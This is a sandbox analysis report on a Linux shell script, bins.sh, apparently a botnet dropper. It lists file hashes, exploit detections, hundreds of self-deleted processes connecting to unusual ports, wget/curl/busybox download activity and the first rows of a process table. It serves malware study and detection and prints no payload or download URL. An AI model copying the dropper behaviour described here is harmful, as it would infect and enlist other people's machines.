Malware analysis bins.sh Malicious activity | ANY.RUN

Add for printing

File name:	bins.sh
Full analysis:	https://app.any.run/tasks/1530e076-2b20-49ef-8a2e-467b25e8a2de
Verdict:	Malicious activity
Analysis date:	December 13, 2024, 18:55:33
OS:	Ubuntu 22.04.2 LTS
Tags:	exploit
Indicators:
MIME:	text/x-shellscript
File info:	Bourne-Again shell script, ASCII text executable, with very long lines (405)
MD5:	00EA8AB56AE0618EAC71FB0A7564F353
SHA1:	C4FA5A7E2F7190352BAE1E3A5C31FB9100452C82
SHA256:	C611D4A177A305017C6465EFB671671AC948918DB9B852E07B2220F59D5E1F63
SSDEEP:	192:sZ1wlFtg6qr6DJJIhZBBt1vJvVvov9vlvT2Z1wlF06qtUJJIh9DvJvVvov9vlv/:sZ1wlFtg6qr6MBTW2Z1wlF06qty

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
- EXPLOIT has been detected (SURICATA)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39117)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39116)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39122)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39126)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39121)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39133)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39228)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39134)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39224)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39225)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39229)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39233)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39234)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39321)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39318)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39322)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39317)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39327)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39330)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39331)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39326)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39338)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39339)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39342)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39343)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39346)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39347)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39334)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39335)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39350)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39351)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39354)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39355)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39358)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39359)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39364)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39363)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39367)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39372)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39371)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39130)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39129)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39223)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39125)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39368)
SUSPICIOUS
- Potential Corporate Privacy Violation
  - wget (PID: 38751)
  - wget (PID: 38797)
  - curl (PID: 38752)
  - wget (PID: 38866)
  - wget (PID: 38831)
  - curl (PID: 39016)
  - wget (PID: 39104)
  - wget (PID: 39074)
  - busybox (PID: 38792)
  - busybox (PID: 39010)
  - busybox (PID: 38895)
  - wget (PID: 39043)
  - busybox (PID: 39039)
  - busybox (PID: 39099)
  - busybox (PID: 38824)
  - busybox (PID: 39069)
  - busybox (PID: 38861)
- Executes the "rm" command to delete files or directories
  - bash (PID: 38748)
- Executes commands using command-line interpreter
  - sudo (PID: 38747)
- Modifies file or directory owner
  - sudo (PID: 38744)
- Reads /proc/mounts (likely used to find writable filesystems)
  - curl (PID: 38752)
  - curl (PID: 39016)
- Uses wget to download content
  - bash (PID: 38748)
- Connects to unusual port
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38931)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38929)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38935)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38934)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38938)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38936)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38937)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38943)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38944)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38924)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38926)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38928)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38927)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38925)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38923)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38945)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38930)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38940)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38933)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38947)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38949)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38952)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38939)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38954)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38956)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38922)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38932)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38946)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38968)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38957)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38948)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38941)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38960)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38963)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38950)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38951)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38942)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38955)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38966)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38959)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38961)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38958)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38971)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38953)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38962)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38977)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38975)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38976)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38978)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38980)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38967)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38979)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38964)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38965)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38982)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38969)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38970)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38984)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38972)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38986)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38988)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38973)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38991)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38974)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38990)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38995)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38993)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38981)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38996)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38997)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38983)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38985)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38989)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39009)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38987)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38992)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38994)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38998)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39000)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 38999)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39001)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39149)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39150)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39145)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39160)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39152)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39148)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39151)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39147)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39143)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39146)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39154)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39144)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39158)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39153)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39159)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39161)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39167)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39168)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39164)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39166)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39162)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39176)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39171)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39175)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39155)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39174)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39157)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39178)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39156)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39165)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39179)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39188)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39169)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39184)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39172)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39173)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39170)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39163)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39182)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39187)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39183)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39181)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39194)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39185)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39189)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39186)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39196)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39199)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39180)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39177)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39191)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39192)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39197)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39195)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39207)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39214)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39198)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39201)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39190)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39202)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39204)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39200)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39205)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39206)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39212)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39209)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39220)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39219)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39223)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39210)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39221)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39203)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39213)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39193)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39211)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39216)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39217)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39215)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39218)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39208)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39240)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39244)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39245)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39253)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39260)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39256)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39259)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39291)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39297)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39222)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39309)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39274)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39281)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39301)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39302)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39300)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39299)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39263)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39238)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39237)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39239)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39242)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39241)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39243)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39285)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39316)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39247)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39252)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39248)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39249)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39251)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39258)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39250)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39257)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39255)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39264)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39261)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39262)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39266)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39265)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39268)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39267)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39270)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39246)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39254)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39271)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39275)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39276)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39277)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39273)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39278)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39279)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39282)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39269)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39286)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39289)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39287)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39284)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39288)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39293)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39272)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39280)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39294)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39295)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39296)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39304)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39303)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39292)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39307)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39310)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39311)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39314)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39325)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39298)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39308)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39283)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39305)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39290)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39306)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39313)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39312)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39315)
  - E6ZZiygJESx6jndz39lDcRmIO0MJTBIqce (deleted) (PID: 39362)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.sh	\|	Linux/UNIX shell script (100)

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

637

Monitored processes

429

Malicious processes

293

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
38743	/bin/sh -c "sudo chown user /tmp/bins\.sh && chmod +x /tmp/bins\.sh && DISPLAY=:0 sudo -iu user /tmp/bins\.sh "	/usr/bin/dash	—	any-guest-agent
User: root Integrity Level: UNKNOWN
38744	sudo chown user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38745	chown user /tmp/bins.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
38746	chmod +x /tmp/bins.sh	/usr/bin/chmod	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38747	sudo -iu user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN
38748	/bin/bash /tmp/bins.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN
38749	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38750	/bin/rm bins.sh	/usr/bin/rm	—	bash
User: user Integrity Level: UNKNOWN Exit code: 256
